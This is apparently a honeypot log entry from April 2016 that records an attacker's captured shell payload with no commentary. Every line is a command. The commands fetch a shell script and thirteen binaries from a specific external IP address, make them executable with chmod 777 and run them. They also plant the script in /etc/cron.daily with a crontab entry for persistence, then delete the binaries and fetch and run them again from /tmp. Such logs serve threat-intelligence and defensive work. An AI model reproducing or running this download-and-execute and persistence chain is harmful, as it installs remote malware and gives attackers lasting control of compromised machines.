Honeypot Payload! Seen on: 2016-04-28 23:56

wget http://80.82.70.231/sh.sh
wget http://80.82.70.231/B1
wget http://80.82.70.231/B2
wget http://80.82.70.231/B3
wget http://80.82.70.231/B4
wget http://80.82.70.231/B5
wget http://80.82.70.231/B6
wget http://80.82.70.231/B7
wget http://80.82.70.231/B8
wget http://80.82.70.231/B9
wget http://80.82.70.231/B10
wget http://80.82.70.231/B11
wget http://80.82.70.231/B12
wget http://80.82.70.231/B13

chmod 777 *

./B1
./B2
./B3
./B4
./B5
./B6
./B7
./B8
./B9
./B10
./B11
./B12
./B13

mv sh.sh /var/run/sh.sh
wget http://80.82.70.231/sh.sh -O /etc/cron.daily/sh.sh
crontab -e
5 0 * * * /etc/cron.daily/sh.sh

rm -rf B1
rm -rf B3
rm -rf B4
rm -rf B5
rm -rf B6
rm -rf B7
rm -rf B8
rm -rf B9
rm -rf B10
rm -rf B11
rm -rf B12
rm -rf B13
rm -rf B2

wget http://80.82.70.231/B1 -O /tmp/B1
wget http://80.82.70.231/B2 -O /tmp/B2
wget http://80.82.70.231/B3 -O /tmp/B3
wget http://80.82.70.231/B4 -O /tmp/B4
wget http://80.82.70.231/B5 -O /tmp/B5
wget http://80.82.70.231/B6 -O /tmp/B6
wget http://80.82.70.231/B7 -O /tmp/B7
wget http://80.82.70.231/B8 -O /tmp/B8
wget http://80.82.70.231/B9 -O /tmp/B9
wget http://80.82.70.231/B10 -O /tmp/B10
wget http://80.82.70.231/B11 -O /tmp/B11
wget http://80.82.70.231/B12 -O /tmp/B12
wget http://80.82.70.231/B13 -O /tmp/B13

chmod 777 /tmp/*

/tmp/B1
/tmp/B2
/tmp/B3
/tmp/B4
/tmp/B5
/tmp/B6
/tmp/B7
/tmp/B8
/tmp/B9
/tmp/B10
/tmp/B11
/tmp/B12
/tmp/B13